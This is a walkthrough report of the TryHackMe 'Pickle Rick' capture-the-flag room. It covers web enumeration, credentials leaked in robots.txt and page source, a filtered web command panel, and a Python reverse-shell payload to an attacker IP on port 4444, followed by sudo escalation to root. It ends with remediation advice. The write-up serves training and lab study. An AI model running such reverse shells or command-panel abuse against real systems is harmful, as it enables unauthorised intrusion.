TryHackMe — **Pickle Rick** Walkthrough Report

Ayoub Goubraim

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Abstract

This report documents the full compromise of the TryHackMe room *Pickle Rick*. By web enumeration (with **Gobuster** as a key asset), source-code inspection, command execution abuse, a reverse shell, and privilege escalation, the three target "ingredients" were recovered: **mr. meeseek hair**, **1 jerry tear**, and **fleeb juice**.

Contents

1	Scope & Environment	2
2	Objectives	2
3	Reconnaissance & Enumeration 3.1 Service Discovery (Nmap)	2 2 3
4	Authentication and Command Panel4.1 Login4.2 Portal and RCE Check	
5	Reverse Shell and Privilege Escalation5.1 Reverse Shell5.2 Privilege Escalation	7 7
6	Objective Collection	8
7	Results Summary	9
8	Remediation Recommendations	9

1 Scope & Environment

- Target: TryHackMe room Pickle Rick (Ubuntu/Apache host).
- Attacker: Kali Linux.
- Key tools: nmap, gobuster, nikto, browser (view-source), nc.

2 Objectives

Retrieve three hidden "ingredients" on the target.



Figure 1: Room objectives.

3 Reconnaissance & Enumeration

3.1 Service Discovery (Nmap)

Listing 1: Nmap service/version scan

```
nmap -sC -sV -p- $IP
```

Open services: 22/SSH and 80/HTTP (Apache/2.4.41). See Figure 2.

Figure 2: Nmap results.

3.2 Essential Content Discovery with gobuster

Gobuster was the primary enumeration tool that revealed critical endpoints, including /robots.txt (password hint), /login.php (auth), and /portal.php (RCE vector).

Listing 2: Gobuster directory enumeration

```
gobuster dir -u http://\$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,js
```

Figure 3: Gobuster discovers /robots.txt, /login.php, /portal.php, /assets.

Robots & Home Source Hints. /robots.txt exposes the string Wubbalubbadubdub (used as the password). The index source discloses the username R1ckRul3s.



Figure 4: /robots.txt -; password hint.

```
| closering intellegate | closering | clos
```

Figure 5: Index source -; username in HTML comments.

4 Authentication and Command Panel

4.1 Login



Figure 6: Login page.

Using R1ckRul3s + Wubbalubbadubdub successfully authenticates.




Figure 7: Successful login with enumerated creds.

4.2 Portal and RCE Check



Figure 8: Portal portal.php with Command Panel.

We validated code execution with simple commands and Python:

Listing 3: RCE sanity checks



Figure 9: Server executes Python: prints hello.

The panel lists a secret-looking file:

Command Panel




Figure 10: ls shows Sup3rS3cretPickl3Ingred.txt.

cat is <u>disabled</u>. The server-side filter blocks cat (and more) — essential detail that forced us to pivot:

Listing 4: Evidence that cat is blocked

cat Sup3rS3cretPickl3Ingred.txt
-> "Command disabled to make it hard for future PICKLEEEE RICCCKKKK."




Figure 11: cat blocked in the panel (critical behavior).

Bypass with less. less was permitted and revealed the first ingredient:




Figure 12: less Sup3rS3cretPickl3Ingred.txt \Rightarrow mr. meeseek hair.

5 Reverse Shell and Privilege Escalation

5.1 Reverse Shell

```
# Attacker
nc -lnvp 4444
# Target via panel
python3 -c 'import socket, subprocess, os; s=socket.socket(); s.connect(("
        ATTACKER_IP", 4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'
```

```
10 python3 -c 'import
   socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.c-
   onnect(("10.21.10.77",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
   os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Figure 13: Reverse shell payload used.

```
>_ Terminal □

(kali⊗ kali)-[~]

$\frac{1}{5}$ nc -\lnvp 4444 \\
\text{listening on [any] 4444 \\}.}
```

Figure 14: Listener on attacker.

Figure 15: Shell received (user www-data).

5.2 Privilege Escalation

Escalation (room mechanic) granted root:

```
sudo bash
whoami # root
```

```
| Kalle Kall - [~]
| $ nc -lnvp 4444 |
listening on [any] 4444 ...
| connect to [10.21.10.77] from (UNKNOWN) [10.10.26.68] 57854 |
| /bin/sh: 0: can't access tty; job control turned off |
| $ whoami |
| www-data |
| $ sudo bash |
| whoami |
| root |
```

Figure 16: Root shell obtained.

6 Objective Collection

Ingredient #1 From web root secret file: mr. meeseek hair (shown above via less).

Ingredient #2 Enumerating user dirs, we find 1 jerry tear.

```
cd lxd
ls
24061
common
current
ls
24061
common
current
cd /home
ls
rick
ubuntu
cd rick
ls
second ingredients
cat second_ingredients: No such file or directory
cat second
cat: second: No such file or directory
cat second
cat: second: No such file or directory
cat second
cat: second: No such file or directory
cat second
cat: second: No such file or directory
cat second
cat: second: No such file or directory
cat *
1 jerry tear
```

Figure 17: Second ingredient: 1 jerry tear.

Ingredient #3 With root access, we locate **fleeb juice**.

Figure 18: Third ingredient: fleeb juice.

7 Results Summary

#	Ingredient
1	mr. meeseek hair
2	1 jerry tear
3	fleeb juice

Table 1: Recovered objectives.

8 Remediation Recommendations

- 1. Remove or strictly gate command-execution panels; allowlist-only commands.
- 2. Enforce least privilege for www-data; no sudo rights.
- 3. Keep secrets outside web root; 600 permissions, separate secrets management.
- 4. Harden Apache/PHP; disable dangerous functions, add WAF and outbound alerts.
- 5. Code reviews: avoid leaking usernames/passwords in comments or robots files.

Appendix A — Key Commands

```
# Recon
nmap -sC -sV -p- $IP
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-
   list-2.3-medium.txt -x php,txt,js
nikto -h http://$IP
# Creds from enumeration
# username: R1ckRul3s (index source)
# password: Wubbalubbadubdub (/robots.txt)
# Panel checks
id
1 s
cat Sup3rS3cretPickl3Ingred.txt # BLOCKED
more Sup3rS3cretPickl3Ingred.txt # BLOCKED
less Sup3rS3cretPickl3Ingred.txt # WORKS
# Reverse shell
nc -lnvp 4444
python3 -c '... pentestmonkey snippet ...'
# Escalation
sudo bash
```